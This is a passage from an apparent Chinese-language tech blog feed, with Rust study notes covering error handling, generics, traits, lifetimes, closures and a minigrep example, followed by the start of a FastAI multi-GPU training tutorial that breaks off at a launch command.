if error.kind() == ErrorKind::NotFound { File::create("hello.txt").unwrap_or_else(|error| { panic!("Problem creating the file: {:?}", error); }) } else { panic!("Problem opening the file: {:?}", error); } });}</code></pre><h3 id="失败时panic的简写-unwrap和expect"><a href="#失败时panic的简写-unwrap和expect" class="headerlink" title="失败时panic的简写: unwrap和expect"></a>失败时panic的简写: unwrap和expect</h3><pre><code class="rust">use std::fs::File;fn main() { let f = File::open("hello.txt").unwrap();}</code></pre><p>如果调用这段代码时不存在 <em>hello.txt</em> 文件,我们将会看到一个 <code>unwrap</code> 调用 <code>panic!</code></p><pre><code class="rust">use std::fs::File;fn main() { let f = File::open("hello.txt").expect("Failed to open hello.txt");}</code></pre><p><code>expect</code> 与 <code>unwrap</code> 的使用方式一样:返回文件句柄或调用 <code>panic!</code> 宏。<code>expect</code> 在调用 <code>panic!</code> 时使用的错误信息将是我们传递给 <code>expect</code> 的参数,而不像 <code>unwrap</code> 那样使用默认的 <code>panic!</code> 信息。它看起来像这样:</p><pre><code class="text">thread 'main' panicked at 'Failed to open hello.txt: Error { repr: Os { code:2, message: "No such file or directory" } }', src/libcore/result.rs:906:4</code></pre><p>因为这个错误信息以我们指定的文本开始,<code>Failed to open hello.txt</code>,将会更容易找到代码中的错误信息来自何处。如果在多处使用 <code>unwrap</code>,则需要花更多的时间来分析到底是哪一个 <code>unwrap</code> 造成了 panic,因为所有的 <code>unwrap</code> 调用都打印相同的信息。</p><h3 id="错误的传播"><a href="#错误的传播" class="headerlink" title="错误的传播"></a>错误的传播</h3><p>当编写一个需要先调用一些可能会失败的操作的函数时,除了在这个函数中处理错误外,还可以选择让调用者知道这个错误并决定该如何处理。这被称为 <strong>传播</strong>(<em>propagating</em>)错误,这样能更好地控制代码调用,因为比起你代码所拥有的上下文,调用者可能拥有更多信息或逻辑来决定应该如何处理错误。</p><pre><code class="rust">use std::io;use std::io::Read;use std::fs::File;fn read_username_from_file() -> Result<String, io::Error> { let f = File::open("hello.txt"); let mut f = match f { Ok(file) => file, //如果能正常打开文件的话就将file赋值给f Err(e) => return Err(e), }; let mut s = String::new(); match f.read_to_string(&mut s) { //将f指向的文件第一行读给s,成功返回s Ok(_) => Ok(s), Err(e) => Err(e), }}</code></pre><p>函数的返回值:<code>Result<String, io::Error></code> 这意味着函数返回一个 <code>Result<T, E></code> 类型的值,其中泛型参数 <code>T</code> 的具体类型是 <code>String</code>,而 <code>E</code> 的具体类型是 <code>io::Error</code></p><p>调用这个函数的代码最终会得到一个包含用户名的 <code>Ok</code> 值,或者一个包含 <code>io::Error</code> 的 <code>Err</code> 值。</p><h3 id="传播错误的简写-运算符"><a href="#传播错误的简写-运算符" class="headerlink" title="传播错误的简写: ? 运算符"></a>传播错误的简写: ? 运算符</h3><pre><code class="rust">use std::io;use std::io::Read;use std::fs::File;fn read_username_from_file() -> Result<String, io::Error> { let mut f = File::open("hello.txt")?; let mut s = String::new(); f.read_to_string(&mut s)?; Ok(s)}</code></pre><p>如果 <code>Result</code> 的值是 <code>Ok</code>,这个表达式将会返回 <code>Ok</code> 中的值而程序将继续执行。如果值是 <code>Err</code>,<code>Err</code> 将作为整个函数的返回值</p><p>the <code>?</code> operator can only be used in a function that returns <code>Result</code> or <code>Option</code> (or another type that implements <code>FromResidual</code>)</p><h2 id="进阶-泛型、trait-与生命周期"><a href="#进阶-泛型、trait-与生命周期" class="headerlink" title="进阶- 泛型、trait 与生命周期"></a>进阶- 泛型、trait 与生命周期</h2><p>泛型是具体类型或其他属性的抽象替代。我们可以表达泛型的属性,比如他们的行为或如何与其他泛型相关联,而不需要在编写和编译代码时知道他们在这里实际上代表什么。</p><h3 id="泛型"><a href="#泛型" class="headerlink" title="泛型"></a>泛型</h3><p>我们要实现寻找slice最大值的函数</p><pre><code class="rust">fn largest_i32(list: &[i32]) -> i32 { let mut largest = list[0]; for &item in list.iter() { if item > largest { largest = item; } } largest}fn largest_char(list: &[char]) -> char { let mut largest = list[0]; for &item in list.iter() { if item > largest { largest = item; } } largest}</code></pre><p>每一个类型都写一个函数太麻烦了, 引入泛型</p><pre><code class="rust">fn largest<T>(list: &[T]) -> T { let mut largest = list[0]; for &item in list.iter() { if item > largest { largest = item; } } largest}fn main() { let number_list = vec![34, 50, 25, 100, 65]; let result = largest(&number_list); println!("The largest number is {}", result); let char_list = vec!['y', 'm', 'a', 'q']; let result = largest(&char_list); println!("The largest char is {}", result);}</code></pre><p>可以这样理解这个定义:函数 <code>largest</code> 有泛型类型 <code>T</code>。它有个参数 <code>list</code>,其类型是元素为 <code>T</code> 的 slice。<code>largest</code> 函数的返回值类型也是 <code>T</code>。</p><p>当然,这个代码还是无法通过编译,简单来说,这个错误表明 <code>largest</code> 的函数体不能适用于 <code>T</code> 的所有可能的类型。因为在函数体需要比较 <code>T</code> 类型的值,不过它只能用于我们知道如何排序的类型。</p><h3 id="结构体中的泛型"><a href="#结构体中的泛型" class="headerlink" title="结构体中的泛型"></a>结构体中的泛型</h3><pre><code class="rust">struct Point<T> { x: T, y: T,}fn main() { let integer = Point { x: 5, y: 10 }; let float = Point { x: 1.0, y: 4.0 };}</code></pre><p>其语法类似于函数定义中使用泛型。首先,必须在结构体名称后面的尖括号中声明泛型参数的名称。接着在结构体定义中可以指定具体数据类型的位置使用泛型类型。</p><p>注意 <code>Point<T></code> 的定义中只使用了一个泛型类型,这个定义表明结构体 <code>Point<T></code> 对于一些类型 <code>T</code> 是泛型的,而且字段 <code>x</code> 和 <code>y</code> <strong>都是</strong> 相同类型的,无论它具体是何类型。如果尝试创建一个有不同类型值的 <code>Point<T></code> 的实例 将无法通过编译。</p><p>如果想要定义一个 <code>x</code> 和 <code>y</code> 可以有不同类型且仍然是泛型的 <code>Point</code> 结构体,我们可以使用多个泛型类型参数。</p><pre><code class="rust">struct Point<T, U> { x: T, y: U,}fn main() { let both_integer = Point { x: 5, y: 10 }; let both_float = Point { x: 1.0, y: 4.0 }; let integer_and_float = Point { x: 5, y: 4.0 };}</code></pre><h3 id="方法定义中的泛型"><a href="#方法定义中的泛型" class="headerlink" title="方法定义中的泛型"></a>方法定义中的泛型</h3><pre><code class="python">struct Point<T> { x: T, y: T,}impl<T> Point<T> { fn x(&self) -> &T { &self.x }}fn main() { let p = Point { x: 5, y: 10 }; println!("p.x = {}", p.x());}</code></pre><p>注意必须在 <code>impl</code> 后面声明 <code>T</code>,这样就可以在 <code>Point<T></code> 上实现的方法中使用它了, <code>impl</code> 之后声明泛型 <code>T</code> ,这样 Rust 就知道 <code>Point</code> 的尖括号中的类型是泛型而不是具体类型。</p><pre><code class="rust">struct Point<T, U> { x: T, y: U,}impl<T, U> Point<T, U> { fn mixup<V, W>(self, other: Point<V, W>) -> Point<T, W> { Point { x: self.x, y: other.y, } }}fn main() { let p1 = Point { x: 5, y: 10.4 }; let p2 = Point { x: "Hello", y: 'c'}; let p3 = p1.mixup(p2); println!("p3.x = {}, p3.y = {}", p3.x, p3.y);}</code></pre><p>这个例子的目的是展示一些泛型通过 <code>impl</code> 声明而另一些通过方法定义声明的情况。这里泛型参数 <code>T</code> 和 <code>U</code> 声明于 <code>impl</code> 之后,因为他们与结构体定义相对应。而泛型参数 <code>V</code> 和 <code>W</code> 声明于 <code>fn mixup</code> 之后,因为他们只是相对于方法本身的</p><h3 id="trait-定义共享行为"><a href="#trait-定义共享行为" class="headerlink" title="trait: 定义共享行为"></a>trait: 定义共享行为</h3><p>一个类型的行为由其可供调用的方法构成。如果可以对不同类型调用相同的方法的话,这些类型就可以共享相同的行为了。trait 定义是一种将方法签名组合起来的方法,目的是定义一个实现某些目的所必需的行为的集合。</p><p><em>trait</em> 类似于其他语言中常被称为 <strong>接口</strong>(<em>interfaces</em>)的功能,虽然有一些不同。</p><pre><code class="rust">//定义一个traitpub trait Summary { fn summarize(&self) -> String; //描述实现这个trait的类型所需要的行为的方法签名。}//然后为类型实现traitpub struct NewsArticle { pub headline: String, pub location: String, pub author: String, pub content: String,}impl Summary for NewsArticle { fn summarize(&self) -> String { format!("{}, by {} ({})", self.headline, self.author, self.location) }}pub struct Tweet { pub username: String, pub content: String, pub reply: bool, pub retweet: bool,}impl Summary for Tweet { fn summarize(&self) -> String { format!("{}: {}", self.username, self.content) }}</code></pre><p>调用trait</p><pre><code class="rust">let tweet = Tweet { username: String::from("horse_ebooks"), content: String::from("of course, as you probably already know, people"), reply: false, retweet: false,};println!("1 new tweet: {}", tweet.summarize());</code></pre><p>trait作为参数传递</p><pre><code class="rust">pub fn notify(item: impl Summary) { println!("Breaking news! {}", item.summarize());}</code></pre><p>对于 <code>item</code> 参数,我们指定了 <code>impl</code> 关键字和 trait 名称,而不是具体的类型。</p><p>trait bound</p><pre><code class="rust">pub fn notify<T: Summary>(item: T) { println!("Breaking news! {}", item.summarize());}</code></pre><p>通过+ 指定多个trait </p><pre><code class="rust">pub fn notify(item: impl Summary + Display) {</code></pre><p><code>+</code> 语法也适用于泛型的 trait bound:</p><pre><code class="rust">pub fn notify<T: Summary + Display>(item: T) {</code></pre><p>通过where 简化trait bound: </p><pre><code class="rust">fn some_function<T: Display + Clone, U: Clone + Debug>(t: T, u: U) -> i32 {...fn some_function<T, U>(t: T, u: U) -> i32 where T: Display + Clone, U: Clone + Debug{</code></pre><p>返回值实现trait</p><pre><code class="rust">fn returns_summarizable() -> impl Summary { Tweet { username: String::from("horse_ebooks"), content: String::from("of course, as you probably already know, people"), reply: false, retweet: false, }}</code></pre><p>修改获取最大值代码</p><pre><code class="rust">//一个可以用于任何实现了 PartialOrd 和 Copy trait 的泛型的 largest 函数fn largest<T: PartialOrd + Copy>(list: &[T]) -> T { //为了只对实现了 Copy 的类型调用这些代码,可以在 T 的 trait bounds 中增加 Copy let mut largest = list[0]; for &item in list.iter() { if item > largest { largest = item; } } largest}fn main() { let number_list = vec![34, 50, 25, 100, 65]; let result = largest(&number_list); println!("The largest number is {}", result); let char_list = vec!['y', 'm', 'a', 'q']; let result = largest(&char_list); println!("The largest char is {}", result);}</code></pre><h3 id="生命周期与引用的有效性"><a href="#生命周期与引用的有效性" class="headerlink" title="生命周期与引用的有效性"></a>生命周期与引用的有效性</h3><p>类似于当因为有多种可能类型的时候必须注明类型,也会出现引用的生命周期以一些不同方式相关联的情况,所以 Rust 需要我们使用泛型生命周期参数来注明他们的关系,这样就能确保运行时实际使用的引用绝对是有效的。</p><p>生命周期避免了垂直引用</p><pre><code class="rust">fn main() { let r; { let x = 5; r = &x; } println!("r: {}", r);}</code></pre><p><img src="/2023/09/27/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Rust/The%20Rust%20Programming%20Language%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/image-20230914102606051.png" alt="image-20230914102606051"></p><p>函数中泛型的生命周期</p><pre><code class="rust">fn longest(x: &str, y: &str) -> &str { if x.len() > y.len() { x } else { y }}</code></pre><p>该函数 <code>fn longest(x: &str, y: &str) -> &str</code> 在 Rust 中不能通过编译,因为它违反了 Rust 的生命周期规则。具体来说,该函数没有明确指出返回值的生命周期是如何与输入参数 <code>x</code> 和 <code>y</code> 的生命周期关联的。</p><p>当你返回一个引用(在这里是 <code>&str</code>),Rust 需要知道这个引用的“生命周期”——即引用的数据将保持有效多长时间。在这个函数的上下文中,返回的字符串切片(<code>&str</code>)可能是 <code>x</code> 或 <code>y</code>,并且它的有效期需要与输入参数 <code>x</code> 或 <code>y</code> 的有效期相匹配。</p><p>你可以通过生命周期标注来修复这个问题,以明确指出输入参数和返回值之间的生命周期关系:</p><pre><code class="rust">rustCopy codefn longest<'a>(x: &'a str, y: &'a str) -> &'a str { if x.len() > y.len() { x } else { y }}</code></pre><p>在这里,<code>'a</code> 是一个生命周期标注,它表明参数 <code>x</code> 和 <code>y</code> 必须具有相同的生命周期 <code>'a</code>,并且返回值也将具有同样的生命周期 <code>'a</code>。这意味着:</p><ul><li><code>x</code> 和 <code>y</code> 必须有相同的生命周期。</li><li>返回的引用(不论是 <code>x</code> 还是 <code>y</code>)也将有相同的生命周期。</li></ul><p>这样,Rust 的生命周期检查器就能确保你的代码是安全的。</p><p>需要注意的是,这样的函数有一定的限制。例如,它不能接受具有不同生命周期的 <code>x</code> 和 <code>y</code> 参数。但这些限制是由你函数的逻辑和需求决定的。根据你的具体需求,这样的限制可能是完全可接受的,也可能需要进一步优化。</p><h3 id="引用的-生命周期标注语法"><a href="#引用的-生命周期标注语法" class="headerlink" title="引用的 生命周期标注语法"></a>引用的 生命周期标注语法</h3><p>生命周期标注描述了多个引用生命周期相互的关系,而不影响其生命周期。</p><p>生命周期参数名称必须以撇号(<code>'</code>)开头,其名称通常全是小写,类似于泛型其名称非常短。</p><p><code>'a</code> 是大多数人默认使用的名称。生命周期参数标注位于引用的 <code>&</code> 之后,并有一个空格来将引用类型与生命周期标注分隔开。</p><pre><code class="rust">&i32 // 引用&'a i32 // 带有显式生命周期的引用&'a mut i32 // 带有显式生命周期的可变引用</code></pre><p>单个生命周期标注本身没有多少意义,因为生命周期标注告诉 Rust 多个引用的泛型生命周期参数如何相互联系的。</p><p>函数签名中的生命周期标注:</p><p>泛型生命周期参数需要生命在函数名和参数列表间的尖括号中。 & str -> &’a str</p><pre><code class="rust">fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { if x.len() > y.len() { x } else { y }}</code></pre><p>当具体的引用被传递给 longest时 ,被 ‘a 所替代的具体生命周期是x的作用域与y的作用域<strong>相重叠的那部分</strong>。</p><p>或者说 泛型生命周期 ‘a 的具体生命周期等同于x和y的生命周期中较小的 那一个。</p><pre><code class="rust">fn main() { let string1 = String::from("long string is long"); { let string2 = String::from("xyz"); let result = longest(string1.as_str(), string2.as_str()); println!("The longest string is {}", result); } // println!("The longest string is {}", result); 如果在这输出就不对了,因为超出了string的作用域}fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { if x.len() > y.len() { x } else { y }}</code></pre><h3 id="结构体定义中引用的生命周期标注"><a href="#结构体定义中引用的生命周期标注" class="headerlink" title="结构体定义中引用的生命周期标注"></a>结构体定义中引用的生命周期标注</h3><p>在结构体中定义slice时,我们也需要考虑其生命周期的问题</p><pre><code class="rust">struct ImportantExcerpt<'a> { part: &'a str, // part不使用之前, 结构体实例必须已经不被使用了}fn main() { let novel = String::from("Call me Ishmael. Some years ago..."); let first_sentence = novel.split('.') .next() .expect("Could not find a '.'"); let i = ImportantExcerpt { part: first_sentence };}</code></pre><p>这个结构体有一个字段,<code>part</code>,它存放了一个字符串 slice,这是一个引用。</p><p>类似于泛型参数类型,必须在结构体名称后面的尖括号中声明泛型生命周期参数,以便在结构体定义中使用生命周期参数。</p><p>这个标注意味着ImportantExcept 的实例不能比其part字段中的引用存在的更久</p><h3 id="生命周期省略"><a href="#生命周期省略" class="headerlink" title="生命周期省略"></a>生命周期省略</h3><p>函数或方法的参数的生命周期被称为 <strong>输入生命周期</strong>(<em>input lifetimes</em>),而返回值的生命周期被称为 <strong>输出生命周期</strong>(<em>output lifetimes</em>)。</p><p>第一条规则是每一个是引用的参数都有它自己的生命周期参数。换句话说就是,有一个引用参数的函数有一个生命周期参数:<code>fn foo<'a>(x: &'a i32)</code>,有两个引用参数的函数有两个不同的生命周期参数,<code>fn foo<'a, 'b>(x: &'a i32, y: &'b i32)</code>,依此类推。</p><p>第二条规则是如果只有一个输入生命周期参数,那么它被赋予所有输出生命周期参数:<code>fn foo<'a>(x: &'a i32) -> &'a i32</code>。</p><p>第三条规则是如果方法有多个输入生命周期参数并且其中一个参数是 <code>&self</code> 或 <code>&mut self</code>,说明是个对象的方法(method), 那么所有输出生命周期参数被赋予 <code>self</code> 的生命周期。第三条规则使得方法更容易读写,因为只需更少的符号。</p><h3 id="静态生命周期"><a href="#静态生命周期" class="headerlink" title="静态生命周期"></a>静态生命周期</h3><p>这里有一种特殊的生命周期值得讨论:<code>'static</code>,其生命周期<strong>能够</strong>存活于整个程序期间。所有的字符串字面量都拥有 <code>'static</code> 生命周期,我们也可以选择像下面这样标注出来:</p><pre><code class="rust">let s: &'static str = "I have a static lifetime.";</code></pre><p>这个字符串的文本被直接储存在程序的二进制文件中而这个文件总是可用的。因此所有的字符串字面量都是 <code>'static</code> 的。</p><h2 id="实现一个Grep"><a href="#实现一个Grep" class="headerlink" title="实现一个Grep"></a>实现一个Grep</h2><h3 id="main-rs"><a href="#main-rs" class="headerlink" title="main.rs"></a>main.rs</h3><pre><code class="rust">use std::env;use std::process;use minigrep::Config;fn main() { let args: Vec<String> = env::args().collect(); //通过minigrep库的Config函数来将参数读入config let config = Config::new(&args).unwrap_or_else(|err| { eprintln!("Problem parsing arguments: {}", err); process::exit(1); }); //通过minigrep库的run函数 if let Err(e) = minigrep::run(config) { eprintln!("Application error: {}", e); process::exit(1); }}rintln!("{:?}",args);}</code></pre><h3 id="lib-rs"><a href="#lib-rs" class="headerlink" title="lib.rs"></a>lib.rs</h3><pre><code class="rust">use std::error::Error;use std::fs;use std::env;pub struct Config { pub query: String, pub filename: String, pub case_sensitive: bool,}impl Config { pub fn new(args: &[String]) -> Result<Config, &'static str> { if args.len() < 3 { return Err("not enough arguments"); } let query = args[1].clone(); let filename = args[2].clone(); let case_sensitive = env::var("CASE_INSENSITIVE").is_err(); Ok(Config { query, filename, case_sensitive }) }}pub fn run(config: Config) -> Result<(), Box<dyn Error>> { let contents = fs::read_to_string(config.filename)?; let results = if config.case_sensitive { search(&config.query, &contents) } else { search_case_insensitive(&config.query, &contents) }; for line in results { println!("{}", line); } Ok(())}pub fn search<'a>(query: &str, contents: &'a str) -> Vec<&'a str> {//函数返回值的生命周期必须和contents一样长 let mut results = Vec::new(); for line in contents.lines() { if line.contains(query) { results.push(line); } } results}pub fn search_case_insensitive<'a>(query: &str, contents: &'a str) -> Vec<&'a str> { let query = query.to_lowercase(); let mut results = Vec::new(); for line in contents.lines() { if line.to_lowercase().contains(&query) { results.push(line); } } results}#[cfg(test)]mod tests { use super::*; #[test] fn case_sensitive() { let query = "duct"; let contents = "\Rust:safe, fast, productive.Pick three.Duct tape."; assert_eq!( vec!["safe, fast, productive."], search(query, contents) ); } #[test] fn case_insensitive() { let query = "rUsT"; let contents = "\Rust:safe, fast, productive.Pick three.Trust me."; assert_eq!( vec!["Rust:", "Trust me."], search_case_insensitive(query, contents) ); }}</code></pre><h2 id="Rust-中的函数式语言功能-迭代器与闭包"><a href="#Rust-中的函数式语言功能-迭代器与闭包" class="headerlink" title="Rust 中的函数式语言功能:迭代器与闭包"></a>Rust 中的函数式语言功能:迭代器与闭包</h2><p>我们将要涉及:</p><ul><li><strong>闭包</strong>(<em>Closures</em>),一个可以储存在变量里的类似函数的结构</li><li><strong>迭代器</strong>(<em>Iterators</em>),一种处理元素序列的方式</li><li>如何使用这些功能来改进 minigrep</li><li>这两个功能的性能(<strong>剧透警告:</strong> 他们的速度超乎你的想象!)</li></ul><h3 id="1-闭包-可以捕获其环境的匿名函数"><a href="#1-闭包-可以捕获其环境的匿名函数" class="headerlink" title="1.闭包: 可以捕获其环境的匿名函数"></a>1.闭包: 可以捕获其环境的匿名函数</h3><ul><li>Rust 的 <strong>闭包</strong>(<em>closures</em>)是可以保存进变量或作为参数传递给其他函数的匿名函数。</li><li>可以在一个地方创建闭包,然后在不同的上下文中执行闭包运算。</li><li>不同于函数,闭包允许捕获调用者作用域中的值。</li></ul><p>考虑一下这个假定的场景:我们在一个通过 app 生成自定义健身计划的初创企业工作。其后端使用 Rust 编写,而生成健身计划的算法需要考虑很多不同的因素,比如用户的年龄、身体质量指数(Body Mass Index)、用户喜好、最近的健身活动和用户指定的强度系数。本例中实际的算法并不重要,重要的是这个计算将会花费几秒钟。我们只希望在需要时调用算法,并且只希望调用一次,这样就不会让用户等得太久。</p><p>我们使用sleep函数来 模拟这个几秒的运算 </p><pre><code class="rust">use std::thread;use std::time::Duration;fn simulated_expensive_calculation(intensity: u32) -> u32 { println!("calculating slowly..."); thread::sleep(Duration::from_secs(2)); intensity}</code></pre><p>main函数中 ,为了简便表示我们硬编码了两个用户的参数,通过generate_workout 传入这两个用户参数 ,</p><pre><code class="rust">fn main() { let simulated_user_specified_value = 10; let simulated_random_number = 7; generate_workout( simulated_user_specified_value, simulated_random_number );}</code></pre><p>在generate_workout内部调用simulated_expensive_calculation</p><pre><code class="rust">fn generate_workout(intensity: u32, random_number: u32) { if intensity < 25 { println!( "Today, do {} pushups!", simulated_expensive_calculation(intensity) ); println!( "Next, do {} situps!", simulated_expensive_calculation(intensity) ); //这里调用了两次 } else { if random_number == 3 { println!("Take a break today! Remember to stay hydrated!");//这里没有调用 } else { println!( "Today, run for {} minutes!", simulated_expensive_calculation(intensity) //这里调用了一次 ); } }}</code></pre><p>现在这份代码能够应对我们的需求了,但数据科学部门的同学告知我们将来会对调用 <code>simulated_expensive_calculation</code> 的方式做出一些改变。为了在要做这些改动的时候简化更新步骤,我们将重构代码来让它只调用 <code>simulated_expensive_calculation</code> 一次。同时还希望去掉目前多余的连续两次函数调用,并不希望在计算过程中增加任何其他此函数的调用。</p><p>也就是说,我们不希望在完全无需其结果的情况调用函数,在必要时也最多只调用一次。</p><blockquote><p>有多种方法可以重构此程序。我们首先尝试的是将重复的 <code>simulated_expensive_calculation</code> 函数调用提取到一个变量中,</p></blockquote><pre><code class="rust">fn generate_workout(intensity: u32, random_number: u32) { let expensive_result = simulated_expensive_calculation(intensity);//调用一次 if intensity < 25 { println!( "Today, do {} pushups!", expensive_result ); println!( "Next, do {} situps!", expensive_result ); } else { if random_number == 3 { println!("Take a break today! Remember to stay hydrated!"); } else { println!( "Today, run for {} minutes!", expensive_result ); } }}</code></pre><p>不幸的是,现在所有的情况下都需要调用函数并等待结果,包括那个完全不需要这一结果的内部 <code>if</code> 块。</p><p>我们希望能够在程序的一个位置指定某些代码,并只在程序的某处实际需要结果的时候 <strong>执行</strong> 这些代码。这正是闭包的用武之地!</p><blockquote><p>不同于总是在 <code>if</code> 块之前调用 <code>simulated_expensive_calculation</code> 函数并储存其结果,我们可以定义一个闭包并将其储存在变量中</p></blockquote><pre><code class="rust">let expensive_closure = |num| { println!("calculating slowly..."); thread::sleep(Duration::from_secs(2)); num}</code></pre><p>闭包的定义以一对竖线(<code>|</code>)开始,在竖线中指定闭包的参数;这个闭包有一个参数 <code>num</code>;如果有多于一个参数,可以使用逗号分隔,比如 <code>|param1, param2|</code>。</p><p>参数之后是存放闭包体的大括号 —— 如果闭包体只有一行则大括号是可以省略的。在闭包的末尾,花括号之后,需要使用分号使 <code>let</code> 语句完整。因为闭包体的最后一行没有分号(正如函数体一样),所以闭包体(<code>num</code>)最后一行的返回值作为调用闭包时的返回值 。</p><p>注意这个 <code>let</code> 语句意味着 <code>expensive_closure</code> 包含一个匿名函数的 <strong>定义</strong>,不是调用匿名函数的 <strong>返回值</strong>。</p><p>定义了闭包之后,可以改变 <code>if</code> 块中的代码来调用闭包以执行代码并获取结果值。调用闭包类似于调用函数。</p><pre><code class="rust">fn generate_workout(intensity: u32, random_number: u32) { let expensive_closure = |num| { println!("calculating slowly..."); thread::sleep(Duration::from_secs(2)); num }; if intensity < 25 { println!( "Today, do {} pushups!", expensive_closure(intensity) ); println!( "Next, do {} situps!", expensive_closure(intensity) ); // } else { if random_number == 3 { println!("Take a break today! Remember to stay hydrated!"); } else { println!( "Today, run for {} minutes!", expensive_closure(intensity) ); } }}</code></pre><p>仍然在第一个 <code>if</code> 块中调用了闭包两次,这调用了慢计算代码两次而使得用户需要多等待一倍的时间。可以通过在 <code>if</code> 块中创建一个本地变量存放闭包调用的结果来解决这个问题,不过闭包可以提供另外一种解决方案。</p><p>闭包有默认的类型标注,我们看看一个简单的函数是如何转换成闭包的</p><pre><code class="rust">fn add_one_v1 (x: u32) -> u32 { x + 1 } //函数let add_one_v2 = |x: u32| -> u32 { x + 1 };//完整的闭包let add_one_v3 = |x| { x + 1 };// 省略类型标注let add_one_v4 = |x| x + 1 ;//去掉了大括号</code></pre><p>闭包定义会为每个参数和返回值推断一个具体类型,如果尝试对同一闭包使用不同类型则会得到类型错误。</p><p>幸运的是,还有另一个可用的方案。可以创建一个存放闭包和调用闭包结果的结构体。该结构体只会在需要结果时执行闭包,并会缓存结果值,这责保存结果并可以复用该值。你可能见过这种模式被称 <em>memoization</em> 或 <em>lazy evaluation</em> <em>(惰性求值)</em>。</p><p>为了让结构体存放闭包,我们需要指定闭包的类型,因为结构体定义需要知道其每一个字段的类型。每一个闭包实例有其自己独有的匿名类型:也就是说,即便两个闭包有着相同的签名,他们的类型仍然可以被认为是不同。为了定义使用闭包的结构体、枚举或函数参数,需要使用 trait bound 和泛型</p><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 编程语言 </category>
<category> Rust </category>
</categories>
</entry>
<entry>
<title>FASTAI_3_多GPU训练</title>
<link href="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/"/>
<url>/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="在FastAI中使用多GPU训练"><a href="#在FastAI中使用多GPU训练" class="headerlink" title="在FastAI中使用多GPU训练"></a>在FastAI中使用多GPU训练</h1><p>FASTAI 默认情况下是在单个的GPU下训练的, 为了使用多GPU训练我们可以对代码做出如下修改:</p><ol><li><p>在learn.fit前加上 with learn.distrib_ctx()</p></li><li><p>配置好Accelerate库的配置文件</p><ul><li><p>可以在命令行中使用accelerate config </p></li><li><p>也可以在python代码中执行:</p><pre><code class="python">from accelerate.utils import write_basic_configwrite_basic_config)()</code></pre></li></ul></li></ol><p>在开始前确保安装了<code>accelerate</code>库并创建了配置文件。</p><p>① 安装库</p><pre><code class="shell">pip install accelerate</code></pre><p>②配置文件生成, python执行一次下列代码即可,<strong>生成好配置文件后下列代码就不需要再次运行了</strong></p><pre><code class="python">from accelerate.utils import write_basic_configwrite_basic_config()</code></pre><h2 id="1-单GPU的代码"><a href="#1-单GPU的代码" class="headerlink" title="1.单GPU的代码"></a>1.单GPU的代码</h2><p>下面是一个简单的图片分类模型</p><pre><code class="python">from fastai.vision.all import *from fastai.vision.models.xresnet import *path = untar_data(URLs.IMAGEWOOF_320)dls = DataBlock( blocks=(ImageBlock, CategoryBlock), splitter=GrandparentSplitter(valid_name='val'), get_items=get_image_files, get_y=parent_label, item_tfms=[RandomResizedCrop(160), FlipItem(0.5)], batch_tfms=Normalize.from_stats(*imagenet_stats)).dataloaders(path, path=path, bs=64)learn = Learner(dls, xresnet50(n_out=10), metrics=[accuracy,top_k_accuracy]).to_fp16()learn.fit_flat_cos(2, 1e-3, cbs=MixUp(0.1))</code></pre><p>可以看到只有一个GPU在训练,每轮训练时间大概用了30秒</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/image-20230916154932430.png" alt="image-20230916154932430"></p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/image-20230916153340490.png" alt="image-20230916153340490"></p><h2 id="2-修改为多GPU代码"><a href="#2-修改为多GPU代码" class="headerlink" title="2.修改为多GPU代码"></a>2.修改为多GPU代码</h2><pre><code class="python">from fastai.vision.all import *from fastai.distributed import *from fastai.vision.models.xresnet import *path = rank0_first(untar_data, URLs.IMAGEWOOF_320)dls = DataBlock( blocks=(ImageBlock, CategoryBlock), splitter=GrandparentSplitter(valid_name='val'), get_items=get_image_files, get_y=parent_label, item_tfms=[RandomResizedCrop(160), FlipItem(0.5)], batch_tfms=Normalize.from_stats(*imagenet_stats)).dataloaders(path, path=path, bs=64)learn = Learner(dls, xresnet50(n_out=10), metrics=[accuracy,top_k_accuracy]).to_fp16()with learn.distrib_ctx(): learn.fit_flat_cos(2, 1e-3, cbs=MixUp(0.1))</code></pre><p>主要修改了如下代码</p><p>① <code>from fastai.distributed import *</code> </p><p>这是FASTAI内置的一个分布式训练库</p><p>②<code>path = rank0_first(untar_data, URLs.IMAGEWOOF_320)</code></p><p>在分布式训练中,通常有多个进程同时运行。如果每个进程都试图执行某些操作(例如下载数据集),这可能会导致不必要的复杂性和资源浪费。<code>rank0_first</code> 装饰器确保只有一个进程(通常是主进程,即 rank 0)实际执行该操作,而其他进程会等待这个操作完成。</p><p>③<code>with learn.distrib_ctx(): learn.fit_flat_cos(2, 1e-3, cbs=MixUp(0.1))</code></p><p><code>with learn.distrib_ctx():</code>会激活分布式上下文,在这个上下文里面执行的所有操作都会适应多卡或多节点环境。</p><p>修改后的代码如下,我们将其保存为<code>train.py</code></p><pre><code class="python">from fastai.vision.all import *from fastai.distributed import *from fastai.vision.models.xresnet import *path = rank0_first(untar_data, URLs.IMAGEWOOF_320)dls = DataBlock( blocks=(ImageBlock, CategoryBlock), splitter=GrandparentSplitter(valid_name='val'), get_items=get_image_files, get_y=parent_label, item_tfms=[RandomResizedCrop(160), FlipItem(0.5)], batch_tfms=Normalize.from_stats(*imagenet_stats)).dataloaders(path, path=path, bs=64)learn = Learner(dls, xresnet50(n_out=10), metrics=[accuracy,top_k_accuracy]).to_fp16()with learn.distrib_ctx(): learn.fit_flat_cos(2, 1e-3, cbs=MixUp(0.1))</code></pre><p>命令行中执行</p><pre><code class="shell">accelerate launch 